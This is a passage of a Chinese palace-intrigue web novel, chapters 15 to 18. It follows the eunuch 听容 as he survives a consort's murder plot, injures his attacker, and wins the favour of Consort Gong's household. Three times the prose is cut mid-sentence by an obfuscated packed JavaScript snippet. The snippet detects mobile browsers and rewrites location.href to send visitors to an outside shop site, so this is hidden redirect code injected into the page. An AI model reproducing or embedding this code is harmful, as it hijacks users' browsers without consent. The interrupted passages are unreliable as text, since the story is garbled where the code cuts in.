与此同时,他也开始悄悄留意起了孔量的动向。如果他确定没有得罪过孔量,那孔量针对他,必然是有原因的,最大的可能就是有人指使,他得知道孔量背后是谁,才知道自己下一步应该怎么做。 孔量倒是没让他等多久,这天天黑后,孔量趁着大家洗漱的时间从侧门溜了出去。 听容跟了过去,再过不到两刻,宫门就要落锁了,他猜孔量不会走远。果然没跟多远,他就看到孔量跟人碰头了,光线太暗,听容看不清对方的长相,贴着小门稍微凑近了,才听到是个女子的声音。 “娘娘交代你的办的如何?” “听容刚来,我还没找到下手的机会。姑姑别急,他虽是被罚来的,可他救了人,勤耕苑的人总会多看他两眼。等过一阵子没人在意这事了,我才方便制造个意外了结了他。” “那也别让娘娘等太久,娘娘的耐心有限,你应该知道的。那小子坏了娘娘的计划,救了循才人,死有余辜。” “是是是。小的定会完成庄贵妃娘娘的交代,不让娘娘烦心。” “嗯,好好办差,以后有你的好日子。” 听容躲在暗处听得一清二楚,血也随着“庄贵妃”三个字的出现越来越凉,一切都能串起来了。 15.第15章 如果说之前“后宫争宠,你死我活”这样的传言对听容来说还不够具象化,那此刻他已经明白什么叫所言非虚了。 循才人入宫以来恩宠不断,虽未达盛宠、专宠,可与后宫其他嫔妃相比,已经是常能见到皇上了。这还是听容入长宁宫后见到的,之前呢?说不定更甚。所以争宠的恩怨肯定不是一夕形成的。 而能让庄贵妃决定要除去循才人,听容猜是因为之前皇上那日抛下了被翻了牌子的庄贵妃,来了长宁宫。或许对皇上来说,想去哪,去见谁都可以。可对后宫的女人,尤其是高位嫔妃来说,被截了侍寝,是奇耻大辱。 只是听容万万没想到,当时他认为自己不救循才人是死,现在看来,救了也有人想要他的命。 把他赶走,方便再找机会向循才人下手,这点听容能料到。让他没料到的是,自己都被赶走了,庄贵妃却没想放过他。这样的心狠手辣,又不想沾脏了自己,可见要一奴才的命对上位者来说是多么不值一提的事,甚至不用过多谋划,找个人来见机行事,自己等着结果就行。 孔量与宫女说完话就往回走了,听容仗着自己消瘦,贴着小门藏得很隐蔽,直到两个人都走远了,听容才快速跑到勤耕苑的地里,拿了一把除草的锄头。 既然孔量要除他,肯定会关注他的动向。回去见他不在,恐怕会起疑心,他得找个自己出去的理由不引孔量怀疑,这样才能保持住敌在明,他在暗的局面,伺机而动。 果然,听容一回到院内,孔量就警惕地问:“宫门都快落锁了,你跑哪儿去了?” 听容瞥了他一眼,没好脸地说:“锄头松了,我回来时忘了拿,趁没事去取了,明早换个杆子好用。” 孔量看着破破烂烂的锄头,没再多问。宫里用的农具未必都是个个顶好的,也不是坏了就能换新的。上面的银子拨下来,层层盘剥,到了农具上只要还能凑合用的,就不会换。 对于侍弄惯了庄稼和菜地的听容来说,勤耕苑的活儿很好上手,他也很快适应了这里的活计。只是休息时别人能拿出吃的,他依旧没有,在长宁宫好不容易长了些肉,现在又消下去了。 在他了解了勤耕苑的环境和规则后,孔量再想找他的麻烦就没那么容易了。同时听容也发现了,这里的其他小太监都算老实,平时也不传闲话,刘柏还是那副别给他惹事,天下太平的样子,他不指使人,谁也别想偷懒。 这天休息时,芳眉来了。 刘柏对手下的人不大理会,可对比他有身份的也不敢怠慢,不似彭公公那般殷勤,却也是很给面子的。 “芳眉姑姑怎么到这儿来了?”刘柏招手让人抬凳子过来,“小地脏乱,小心足下。” 芳眉没有半点嫌弃,摆摆手并未坐下:“我是奉娘娘之命来问问,去年勤耕苑种的小白菜极好,今年可还种了?” “肯定种了。去年见恭贵妃娘娘喜欢,今年皇上特地叮嘱过的。”刘柏应道。 “那就好。”说着,芳眉往休息的地方看了一眼,一下就看到了听容,“我跟听容说几句话,方便吧?” 刘柏一怔,立刻道:“方便方便,姑姑请便。” 芳眉刻意多解释了一句:“先前听容给我们娘娘送过果脯,娘娘恩德惠下,知道他调到这儿来了,让我顺便看一眼。” “明白。”刘柏不知听容还有这层关系,不过他没苛待过听容,倒也不担心。 刘柏退到一边,芳眉冲听容招了招手。 听容谨慎,今天孔量被安排去做了其他活,不在勤耕苑,他才没有过于态度疏离地走过去。否则他必得装出只是被叫去吩咐事情的态度,免得让庄贵妃知道了,万一她再与恭贵妃有不合,那他就更得遭殃了。 “芳眉姑姑。”听容给她行礼。 芳眉上下打量了他一番,才将手里的包袱交给他:“这是小禾托我给你送来的,他让你好好保重,希望以后还有机会吃你做的果脯。” 听容心里久违地一暖,他没想到到了这个地步,还有人肯记挂他。虽然他跟小禾也不过两面之缘,却能收获这样的记挂,可见小禾心思单纯,严昱祉把他教得很好。 “劳烦姑姑代我谢谢小禾。我不过举手之劳,还让他挂念着我,真是惭愧。”听容抱着沉沉甸甸的包袱,隐隐能闻到糕点的香甜。 芳眉微笑着说:“好好保重,以待来日。” “是。”听容现在的确需要一些鼓励,这一切来得刚刚好。 芳眉离开后,听容打开包袱,里面都是糕点、馒头这类顶饱的东西,还有几块咸肉干,天气渐暖,肉干不好保存,所以没送太多。 听容终于可以不用喝水充饥了,他拿起一个暄软的馒头,大大地咬了一口,连日来心中的不平,也被这一口香甜填满了。 繁秀宫—— 芳眉回去复命,又说了听容的近况。 恭贵妃手臂搭在软靠上:“难得你这么上心。” 坐在她对面的严昱祉笑道:“是我利用他在先,借着他的样貌故意让人觉得我贪图好颜色,让皇上降低警惕。虽说他落到这个地步与我没什么干系,但总得做点什么才觉得不欠人情。” “也就是你吧。在这个宫里,谁还讲什么欠不欠人情的。拿着亏心当饭吃的也不在少数。”恭贵妃的话说得不假,入宫这些年,就连她自己都不敢说一点亏心事没做了。所以看着严昱祉如此,她心里是高兴的。 “爹常说,咱们行军打仗的,为国为民,不要轻易去做亏心事,欠人情也要及时还。否则上天不佑,那干系的可是千万条人命。”严昱祉不是个听话的,但这样的道理他不敢不听。 “的确。”恭贵妃不觉得兄长是迷信,他们的父亲也是这样教他们的,常胜固然是战术兵法娴熟,人员调动得力,将士们勇猛无畏。可越是如此,越要心存敬畏,否则容易自负自满,导致兵败难收。 “公子不必太过挂心,奴婢会帮着照看的。”芳眉知道在场的只有她方便去看听容,当初也是她按严昱祉的意思去叫听容送得酒,若说得还了这因果,她也不能落下。 “好,那就麻烦姑姑了。”芳眉从小跟着恭贵妃,严昱祉与她也不陌生,也信得过。 小太监进殿来报,说循才人来请安了。 恭贵妃理了理鬓角,道:“说我身体不适,不见客。” “是。” * 有了能填饱肚子的吃食,听容日子过得有了盼头。 除了干活,听容也没忘记找机会解决掉孔量,他很清楚,孔量恐怕也在找机会,所以他下手得比孔量快。 勤耕苑的地属于在皇宫里划了一块出来,不如村里的土地肥沃,所以每过几个月,就会从宫外运一批土进来。掺了粪肥的土放置了一段时间后,味道没那么重了,送进宫来正好。 几个要搭着干活,推着车子把土运到勤耕苑,途中会路过一个荷花池,这会儿里面已经有荷叶冒出,水看着有些深度。 在听容往回推第二车时,就看到孔量不知何时站在了池边,刘柏没安排他干运土的活。等听容推着最后一车往回走时,太阳已经下山了,只剩下一点余晖,映得孔量的背影黑黑红红的。 “听容。”孔量叫住了他。 这条路上已经没有别人了,只有收拾地面残土的两个小太监在远处清扫。 听容心里警惕,面上不显地停下来。 “你来看看,这荷花是不是冒叶了?”说着,孔量就搭上他的肩膀,用力将他往池子那边带。 听容能清晰地听到自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190916|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的心跳,也猜到孔量的意图。他转头去看孔量的脸,此时孔量脸上是他从未见过的阴狠,这种阴狠似乎还带着某种光,仿佛只需一下,孔量就能得道升天。 听容无心与孔量对峙,孔量要动手,显然是选到了自认为最合适的时机和最好的地方。那相对的,这里也会成为他最好动手的地方。 他个子是没有孔量高,但力气可不比孔量小,而且孔量想算计他,却不知道他也有此意。趁孔量没反应过来,听容顺势抓着他的后颈,用力将他的头磕在石栏上。 随着一声痛呼,听容松开他,立刻去推自己的车。孔量摔在地上,听容抓着车把后退了几步,然后冲着孔量的手就压了过去。 独轮车的重量都压在一个钉了防滑钉的车轮上,上面又是沉甸甸的土,孔量的惨叫响彻池边,让听容想起那日被从春萱宫拖走的小太监,而夕阳的余晖也像是孔量最后的挣扎。 他知道孔量想要他的命,可他还不想沾上人命,只是想把孔量赶走,这样自己就能安全一些。 “究竟怎么回事?!”自己手下的人伤了,刘柏肯定要问。 “是听容,他故意压我的手!”孔量的手已经包上了,给宫人看诊的小太医说是骨头折了,只能先养着,等骨头长好了,再看能不能和之前一样灵活吧。 听容摆出一副惊恐的样子,说:“公公,我不是故意的。孔量在池边滑倒了,我正好推着车子路过,天色暗看不清,也来不及躲了,就压到了他的手。” “你胡说!是你抓着我的头磕在石栏上,后又压了我的手!肯定是因为我之前欺负过你,你想报复我!”孔量现在很清楚,他不能离开这里,他的手这样,离开这里就等于是完了。现在他唯一的机会是让刘柏将听容处置了,这样也算他完成了任务,到时请庄贵妃宫里的姑姑求求情,给他挑个好差事换过去,手废了也不怕。 “孔量,我要想做成这些怎么也要有周密的计划才行吧?一来我不知道你为什么会出现在那里,不可能提前计划;二来,你也说了你我关系不好,我若靠近你,拿你的头去撞石栏,你会一点防备都没有吗?再说,你比我高,力气也应该比我大,我怎么可能做到你说的那些?”听容回来的路上就想好了说辞。消瘦不是很好的状态,却是不错的保护色。 是孔量先接近的听容,但他不能说,只能继续道:“你少在这里装,你就是趁我不备,偷袭我!” 刘柏看了看两个人,孔量气恼暴躁,听容委屈无措,再想想两个人的话,他问:“孔量,你去池边做什么?” 孔量心里一跳,垂下眼睛:“小的、小的只是去透透气。” “透气也透不到那边去吧?!”那边离勤耕院并不近。刘柏随后又问在后面清扫的两个小太监。 两个人表示他们是听到惨叫才看过去的,当时孔量已经倒在了地上,听容的确像是推车正好路过,不小心压到的。还把听容吓了一跳,车子都翻了。 各方证词一对,刘柏觉得孔量的证词更不合理。但并没有立刻发作,只说听容干活不仔细,罚俸半个月。孔量擅离勤耕苑,自己弄伤了,还要怪到别人头上为自己开脱,实在不是个省心的。 刘柏不管手下太监们的小打小闹,可闹出伤了就是他的忌讳了,不加以处置以后恐怕难以管束,孔量先前又缕缕针对听容,再加上之前芳眉来过,刘柏掂量之下,应该保谁,心里就有数了。于是连夜上报,将孔量打发了出去。 听容这才松了口气,他知道刘柏的行事风格,芳眉的到来也成了他的筹码,所以这个结果在他的预料中。接下来庄贵妃那边会就这么算了,还是再找别人他不清楚,但至少短时间内鉴于刘柏刚处置了一个,大家行事都会谨慎些,别去触霉头,他应该能获得片刻安宁才是。 16.第16章 随着天气变暖,地里的活也多起来。今儿刚拔的草,明儿又有新的冒出来。加上连日无雨,水也浇得越发勤了。 刘柏依旧那样,每天站在勤耕苑的亭子里看他们劳作,不管速度快慢,只要把当天的活儿干完,他就不会说什么。 比起勤耕苑的其他人,听容是来得最晚的,怕他干不好,给他划的地也是最小的。没想到他手脚利落,干得很不错。而在孔量走后,倒是没了找事的。听容干完自己的还愿意搭把手帮帮别人,由他带头,其他人也乐意相互帮一把,倒是前所未有地和睦。 刘柏很满意,这天的活干完,他把听容叫了过去。 “我看你农活干得不错,以前经常干?”刘柏问他。 “是,以前在家里一直在种菜。”听容答。这不算本事,只是熟能生巧罢了。 刘柏点点头:“勤耕苑的小太监们也多是农家出身,只是进宫时年纪小,在家没学到什么本事。” 说到这点,听容忍不住心酸,的确,像他这个年纪被卖进宫里的非常少,大多是十二左右送进来的。 “你虽然来得晚,但在勤耕苑的年纪不算小,以后多帮衬着些。咱们干得活是辛苦了些,但胜在安稳,不容易被找事,还是不错的。” 听容:“是,小的最早就是想来勤耕苑,只是阴差阳错的去了别处。” 刘柏难得地笑了笑,没多说,只是拍了拍他的肩膀。对他来说,手下有个能干的,能省很多心。 小太监抬了晚饭回来,还带回来一个消息,说是良嫔有喜了,皇上特地拨了位御厨给她用,还允许她用宫里的小厨房做膳食,只为让她吃得舒心。 嫔并非一宫主位,要到贵嫔才算。泰宣帝现在就允了她用小厨房,可见高兴,等孩子生下来,应该会晋位份。 “看来各处是有得忙了。”刘柏收了笑意叹道。 听容察言观色地问:“是有什么难为的事吗?” 刘柏认可了听容的勤快,愿意跟他多说两句:“宫里许久没有皇子和公主降生了,皇上势必欣喜,届时定会晋良嫔的位份。若是个皇子,封妃也指日可待,说不定还能协理六宫。这些虽都是后话,可宫里各处机灵的已经要开始着手巴结了。咱们也不能无动于衷。” 这是听容没想到的,一个嫔妃有了身孕,居然各处都要开始打算。看来他还是不够机敏,都没想到这一层。 不过话说回来,若是其他嫔妃,听容倒是不担心,可良嫔……她可不是表面看起来那么良善无害,还是少往前凑得好。 吃完饭,皇上身边的小太监就来传口谕,说良嫔有孕,之后勤耕苑收获的蔬果都先紧着良嫔来。 皇上连这样的旨意都下了,可见有多重视,刘柏也越发不敢怠慢,得想些能孝敬的,先在良嫔那露个脸。 “听容,之前听芳眉姑姑说,你给恭贵妃娘娘送过果脯,可是自己会制?”刘柏想到这个,就问了听容。如果只是拿现成的去送,恭贵妃不会特别留意到听容的。 听容知道躲不过,说:“小的会制些苹果果脯,不过是甜味的。有孕的女子应该会喜食酸吧?” 刘柏犹豫起来,可一时又想不出更好的东西,便说:“你先少制一些,咱们勤耕苑没有表示可不行。若良嫔不喜欢,我再想别的办法。” 刘柏都这么说了,听容肯定不能愣愣地拒绝,也不能背后说妃嫔的不是,只能先应下。 宫里的水果大多都在果局储藏,但像勤耕苑种植采摘的,果局那边放不下,也会留一些在勤耕苑存放。这就方便了听容做果脯。 他故意磨磨蹭蹭的,想看其他地方送去的东西会不会被挑毛病,总之他不想当那个出头鸟。 转眼过了五日,他迟迟没做好,刘柏催了他。听容只能推脱说再烘一晚上就可以了。然后趁着大家都准备休息了,借口说果脯还要再翻个面,确定四下无人后,偷偷在门口至果脯周围撒了一路的糖水。 结果等第二天吃完早饭,听容去收果脯,就惊呼了一声。 刘柏过去一看,果脯已经爬上了蚂蚁,肯定是不能给良嫔送去了。 听容装出又惊又悔的样子,说:“之前制的时候天气还冷,没招过蚂蚁,我就忽略了此事。” 刘柏虽然不满,却也没说他。听容说过他制的果脯甜,招蚂蚁的确难免,早知道应该让人守着才是。 “重新做吧,这次小心些。”刘柏道。 “是。”听容已经开始想下一次要用什么招了,总这么浪费东西他心里是过意不去的,作为一个从小吃不到好东西的人,即便宫里不缺,他心里也是不愿意浪费的。 忙完自己的活,听容要重做果脯,就没继续搭把手,而是去了库里重新挑苹果。 提着一篮苹果刚出库门,就见两个忙活完的小太监回来了,两个人相互扶着,脸色难看极了。 “怎么了这是?”听容走过去问。 两个人直接坐到了地上,像是被吓着了。 提前回来的刘柏听到动静也走了出来,见两个人脸色如土,也走上前来查看:“摔着了?” 其中一个猛地摇摇头,说:“看、看到个被打死拖出去的太监。” 刘柏眉头一皱:“打死了?怎么回事?” 宫里有个不成文的规定,一般嫔妃有孕,宫里是忌讳出人命的,就算要打死,也得先关着,等龙胎落地一并处理。 “说、说是果局的。他们制了酸果脯给良嫔送了过去,结果说是良嫔吃了肚子不舒服,即刻就传了太医。太医没诊出什么,只说可能是果脯不干净。皇上动气了,良嫔劝了几句,说打制果脯的十板子就算了。结果不知怎的,把人打死了。” 勤耕苑的小太监知道有做错事被打死的,但他们没亲眼见过,头一次看到肯定心慌。 听容自后背冒出一层冷汗,且不说那小太监到底是怎么死的,只良嫔闹说不舒服,太医又没诊出问题,很可能是孕中希望得到皇上的重视,自导自演了一出。 打十板子应该只是走个过场,或许良嫔自己都没想到会打死人。 刘柏此时的脸色可不比两个小太监好太多,他在宫中浸淫多年,不可能想不明白其中的弯弯绕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195991|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “听容,果脯别做了。”刘柏道。 听容松了口气,应了一声后,把苹果送回了库里。 不知道是不是小太监被打死的事把大家都惊着了,接下来几天,从勤耕苑,到旁边的花房,再到隔壁的果局都安静得很,大家连走路都变得小心翼翼。也没人再提往良嫔那儿送东西的事, 勤耕苑的气氛缓和了一些,是因为被拉出宫去挖野菜。 这个时节山上的野菜丰富,皇庄上也会送新挖的野菜进宫,倒不缺这口吃的。只不过庄子上送来的已经经过了初步的清理,有些根子都去掉了,勤耕苑则想要一些可以回来继续种进土里长的,有些野菜种起来能吃好几茬儿。 这样的移栽法,勤耕苑每年都会做,有些还真能长几年,但不知道是不是因为去岁天太冷把根子都冻坏了,今年开春到现在,什么都没长出来,不得不重新去挖。这种野菜就是主子们吃不吃不知道,但勤耕苑不能没有。 骡车跑得不快,听容坐在车板上,想到了村里的牛车。记忆中听容只坐过两回,还都是赶上了年,跟着娘去镇上买吃的。村里好几个人挤在一起,坐得很不舒服,晃晃悠悠的又慢又磨人,让人昏昏欲睡。 离开皇宫,外面的天比在宫里看更蓝,天地也更开阔,闷着的情绪得到了释放,每个人脸上都见了笑意。 不知是谁先起的头,大家说笑起来,没了在宫里的约束和拘谨,每个人都显得鲜活了。阳光透过树叶照在他们脸上、身上,温暖宜人。 听容看着他们说笑,听着他们描述各自进宫前的生活,有种恍若隔世的虚幻感。 中午大家就地生火,拿盐煮了野菜,就着带出来的馒头,吃了个饱。 饭后就要往回走了,这些野菜要尽快种回地里,才能确保成活。背着背篓,提着小锄头,所有人恢复了拘束的行事态度,顺着墙根往勤耕苑走。而让听容没想到的时,他居然迎面遇上了小禾。 小禾今天一身深蓝色的衣裳,袖口收着,很是利落。看到他,小禾明显很惊喜,冲他挥挥手。 听容见他身后跟着一个背着包袱的太监,看样子是要出宫的样子。有旁人在,他本是不准备跟小禾多说什么的,结果小禾叫住了他。 “一直没得见你,你还好吗?”小禾边问边打量他。 听容笑起来:“都好,谢谢你让芳眉姑姑给我送的点心。” “这都是小事,我去找你不大方便,只能请芳眉姑姑帮忙。你若有什么需要,可以到致书堂找我。”小禾对他说。 他和小禾并不熟,照理说听容是不会答应的,但他知道小禾心好,又实在不忍心拒绝,便道:“好,我知道了。” 小禾又看了看他的背篓:“这是去挖野菜了?” “对,正要赶着回去种上。”听容说。 “那你快去忙吧,我也要赶着送人出宫。等你休值的时候,记得来找我玩啊。”小禾嘱咐他。 听容点点头,两个人就各自去忙了。虽是没说几句话,可在这宫里有个能说话的人,回宫后的失落情绪也得到了缓和,感觉就没那么糟糕了。 17.第17章 有的野菜可以连根挖回来继续种,有些则只能采摘,而能遇到什么野菜属于运气问题,所以此番大家两种都挖了不少。回来后不能种的洒水保鲜,能种的赶紧下地。 由于种类不多,就都栽进了他们院子的花坛里,那样的混种也适合野菜生长。 正忙着,良嫔宫里来人了,说是听说他们今天出去挖野菜了,想要一些给主子下饭。 刘柏表情未变,可这些时日相处下来,听容能感觉到他的紧张。 换作以前,主子派人来要,那是无有不给的。可良嫔刚打死人的事还没过几天,大家都很谨慎,能不沾染英萃宫的饮食,尽量不沾,何况是野菜这种靠天长的东西,万一良嫔吃得不适,上哪儿说理去? “今天主要是去挖根的,没有多少能入口的东西啊。”刘柏摆出一副为难的样子。 宫女看了看地上乱七八糟的野菜,也分不清什么是什么,只道:“怎么?我们主子要,还能没有?” “那不能,良嫔要,肯定是有的。但云思姑娘容我一日,等我们把这些野菜摘出来,挑好的给良嫔送去,可好?”刘柏开始了拖字诀。 云思面露不满,不过对着这些野菜她也无从下手,只得到:“那行,最迟明天中午之前给我们英萃宫送去。我们主子现在金贵着呢,总得吃些合胃口的,小皇子才能长得好。” “明白,云思姑娘放心,一定挑最好的。”刘柏好生将人送了出去,随后就坐到廊下发愁了。 听容能猜到刘柏的顾虑,就他而言,也不愿意跟良嫔宫里有瓜葛。现在孩子还没稳当,更是少接触为妙。 野菜都种下了,所有人都可以收拾一下休息了。听容来到刘柏身边。 “公公在发愁?”听容本心里不想参与这事,不过万一没弄好,勤耕苑遭殃了,那他的日子也不好过。 刘柏没瞒他,也没嫌他多事,多一个人商量总是好的:“你也听到了,原本这些野菜我想着留给咱们自己吃就罢了,现在良嫔来要,反而不好办。” 一般给主子们的,要么是勤耕苑后种了长出来的,要么是皇庄上采了送进来的,为的就是主子们吃得安心。像这种自己采的,都是小太监们自己留着吃,或者求了给宫人们做饭的下膳局给做了。 听容垂首道:“非咱们这儿种出来的东西,公公还是跟内务府总管说一声比较好。虽然看似小题大作,可也是为了给您一个保障。” 听容没说出口的意思是:有一个前车之鉴,就算内务府总管觉得他们事多,也得掂量着给想办法。 刘柏点点头,这个他是想过的,只不过现在有个人和他想的一样,让他确定了自己的想法没错。 听容又说:“既然良嫔那边要,就算报备了,恐怕也是躲不过的。不如将这些东西分成几分,给各宫主位都送上一捧,多少不计,是个孝敬。届时万一有哪位主子吃着不适了,可别的宫里没事,想必皇上皇后也不会怪罪。” “甚好,就这么办!”放在以前多此一举的事,现下再麻烦,只要能保着自己平安,比什么都要紧。 “不过……”听容不得不跟他讲讲那个“万一”,“内务府总管小的没见过,不知是怎样的人。他若不想担责,怕他会搪塞。公公不如带了给皇后娘娘的那份野菜,如果他不搪塞,你就请他带你去见皇后娘娘,手上拿着东西去求见,也算有理由了。在皇后娘娘那儿提一提良嫔要野菜的事,由娘娘定夺更保险。” 刘柏看了看听容,表情放松下来,笑道,“你很聪明。” 听容表情动作都没变:“不是小的聪明,小的也只是想好好活着。” 刘柏叹道:“是啊,谁不想好好活着呢?活到年岁大了,平安离宫,就算是福气了。” 于是第二天天还没亮,刘柏连早饭都没吃,就提着野菜去找内务府总管了。 等天大亮,勤耕苑的人拿上农具准备去干活了,刘柏才回来。叫了听容和另外两个小太监,让他们去六宫送野菜,显然事情是办妥了。 因为芳眉的缘故,给繁秀宫送的事就指给听容了。听容特地多抓了一把野韭菜,这是所有野菜中最新鲜的,看在小禾的面子上加把好的,也是应该的。 “姑母还是要多吃些。春季是养底子的好时候,季汀说您吃得好,才能补回这些年的亏空。”严昱祉来陪着恭贵妃用早膳,但恭贵妃吃得不多。饭后芳眉又端了些糕点,恭贵妃一块都没碰。 “道理我都懂,只是我没什么胃口。”恭贵妃无奈,“现在正是蔬果青黄不接的时候,虽不缺吃的,可来来回回就那么几样,吃得实在没滋味。” “那我出宫给您寻些开胃的小菜。”严昱祉之所以还愿意被困在宫中,就是为了看到姑母彻底康健。 “别麻烦了,我也只不了几口。待过些时日蔬果多了就好了。”恭贵妃不愿意侄子总为自己操心。 “那我让季汀再给您制些开胃健脾的药丸吧。” 恭贵妃忙摆手:“我要吃的药已经够多了,你可别为难我了。” 严昱祉笑道:“父亲说您从小就不喜欢吃药,现在都给您制成药丸还不成?” “不成,我又不是药罐子。” “芳眉姑姑,勤耕苑派人送东西来了。”守门小太监的声音同时传进了殿内两个人的耳朵里。 严昱祉和恭贵妃都没再说话,听着外面的动静。 “让他进来吧。”守在门口的芳眉随后往大门走,在看到听容后,笑道,“怎么是你来了?” 听容给芳眉行了礼,才说明来意。 “这些日都没有野菜送进来,你这送得正及时。”芳眉也为恭贵妃胃口不佳的情况操心,野菜就送进来了,而且看着种类比庄子上送来的丰富,只是每一样的量不大。 “这野韭菜长得最好,切碎了烙饼,卷上爽口的小菜,很有滋味。”别的听容不敢说,这些野菜怎么做好吃,他是最有数的。只不过他会的都是乡下人的做法,宫里吃的肯定更细致。 “好,那我晚点让小厨房给做了。”芳眉笑道。 听容刚要告辞,英萃宫的人就来了,还是昨天去勤耕苑要野菜的那位宫女,叫云思。 云思给芳眉行了礼,客气里透 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209100|196333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着藏不住的骄傲:“芳眉姑姑,我们主子有孕,胃口实在不好。这几日请示了皇上,希望调繁秀宫的言金公公伺候我们主子的饮食。都知道言金公公手艺好,繁秀宫的饮食也最是精细了。今儿个皇上总算是同意了,差我过来领人。” 有孕的嫔位抢贵妃宫里的人,听容不清楚皇上是怎么同意的,但这样的行为的确是打恭贵妃的脸了。看来恭贵妃也没有预想中过得那么舒心。 “真是不巧了。”芳眉道,“言金前两日做饭伤了手,娘娘见他年纪不小了,念他这些年在繁秀宫伺候辛苦,特准许他离宫养老。昨日已经送出去了。” “这么巧?”云思皱起眉,和芳眉比少了些沉着。 “怎么叫巧呢?他伤了手实在是伺候不了,留在宫里也是养着,不如早些出宫安置得好。”芳眉从容道,“今早我刚让人去司职处给他除了名,皇上这几日没来繁秀宫,所以不知此事。不过言金这一走,我们宫里小厨房也没了得力的,娘娘进膳都不香了。” 像这样的调度,贵妃作为一宫主位,是可以直接办的,不需要通过皇后,跟内务府和司职处登记即可。 听容想到昨日小禾送人出宫,他记得那位太监的确是有些年纪了,但手并未包扎。恐怕是恭贵妃这儿早得了消息,提前把人送走了,也是不想惹是非。 人都送走了,云思也只得告辞。 听容看完热闹也告退了,在心里把繁秀宫归为了聪明那一类,提前准备,哪怕多余,也比等着别人先出手好。 他去送野菜,他地里的活别的小太监帮忙给干了,听容难得轻松。吃完晚饭时辰还早,他就主动领了睡前巡视的活儿,去了一趟地里。 让他没想到的是,转了一圈出来,就遇上了严昱祉。 看到他,严昱祉就径直走了过来,看起来就是来找他的。 “严公子。”听容行礼。 严昱祉挥挥手,让他免了:“我刚才去勤耕苑,管事说你来地里了。” “公子找我有事?”听容想不到他们还能有什么交际。 严昱祉把手里的食盒递给他:“我姑母赏你的。你今天来送的野菜味道很好,姑母多吃了些。” “谢谢娘娘赏。”听容接过来,多少是有些惊喜的,毕竟送的不是什么贵重东西,也不是勤耕苑种出来的,正常不会有赏。 严昱祉打量了他一阵,才道:“吃完再回去,别让人看到了。” 听容诧异地想什么好东西,还要在外面吃完?打开盖子才发现里面居然是切好的一碟蜜瓜。这可是进贡的东西,不是高位嫔妃是吃不到的,光闻着那股清香就足以想象它有多好吃了。 听容舔了舔嘴唇,退回种地的院子,找了一处地方坐下吃起来。这是他第一次吃蜜瓜,比他想的更香更甜。 严昱祉没走,站在院门口,看着听容慢慢吃着,听容吃相很斯文,还有点可爱,让他有欣赏的欲望。 在听容丝毫未觉中,严昱祉突然转头看向不远处的长廊,眼神冷漠而犀利。吓得躲在那里偷看的采莺一惊,什么都顾不上,飞快地跑了。 18.第18章 待听容把蜜瓜吃完,严昱祉才重新拿回食盒。 “你什么时候休值?”严昱祉问他。 今天的严昱祉又换回了黑色的衣裳,窄袖的衣服比宽袖更适合他。 听容没回答,只是看着他,等于是在问他问这个做什么? 严昱祉没有觉得被冒犯,回道:“听小禾说邀你休值到致书堂玩,我得知道你什么时候休值,好让小禾准备些吃的招待你。” “不必麻烦。”听容其实从没想过要去致书堂找小禾,“我只是个奴才,小禾好意相邀,我没办法拒绝。但其实即便休值那日,我也不能乱走的。” 严昱祉沉默了片刻,他清楚这些都是托辞,比起宫女,太监如果离宫,是找不到其他活计的,所以需要攒足够的银子,等年纪大了好离宫度日。但在宫里,太监的自由度是比宫女高的,他们可以在休值这日请求出宫采买,只是能不能轮得上就另讲了。 听容的托辞明显是不愿意与他们走得太近,这倒是不多见的。作为奴才,想在这个宫里活得久,就得找一个好主子。但听容似乎没有意识到这一点,一点儿都不知道主动。 听容的话说得含蓄,严昱祉也没有直白地问。只说:“小禾跟着我进宫,被关得憋闷。难得他跟你投缘,我倒希望你们能多接触,这样他也能多个说话的人。” 这是听容没想到的,对他来说,小禾给他送吃的,跟他说话,请他去致书堂,是小禾心好,心思简单,为人热忱。却没想过自己对小禾来说可以算是投缘的那个。 听容有些动容,“朋友”这个词跳进了他的脑海。在村里时,他一个朋友都没有,爹娘不让他出去玩,也不允许他到别人家做客,所以他没朋友。进宫这一路,他认识了被廉公公挑走的符安,符安会跟他闲聊,在他情绪不好的时候安慰他,鼓励他在宫里好好生活,不要气馁。算是他长这么大以来第一个可以认为是朋友的存在。 现在,可以多一个小禾吗? 严昱祉没再多说,提着食盒离开了。 听容站在那里想了许久,小禾是小厮,而他是个太监,或许是出于身份差距,又或者是他不愿意把小禾拉进自己心底“恨”的情绪里,污染了那份真挚,他没办法那么坦然地与小禾成为朋友。但小禾的好心他是感念的,如果可以,也愿意回报一二。 * 勤耕苑琐碎的日常劳作日日相似,听容瓜果的苗子越发壮实,打心底里觉得喜悦,这是靠天吃饭的农家子的多年养成的习惯,苗长得好,就能让人他心里喜悦,即便这些东西根本轮不上他吃。 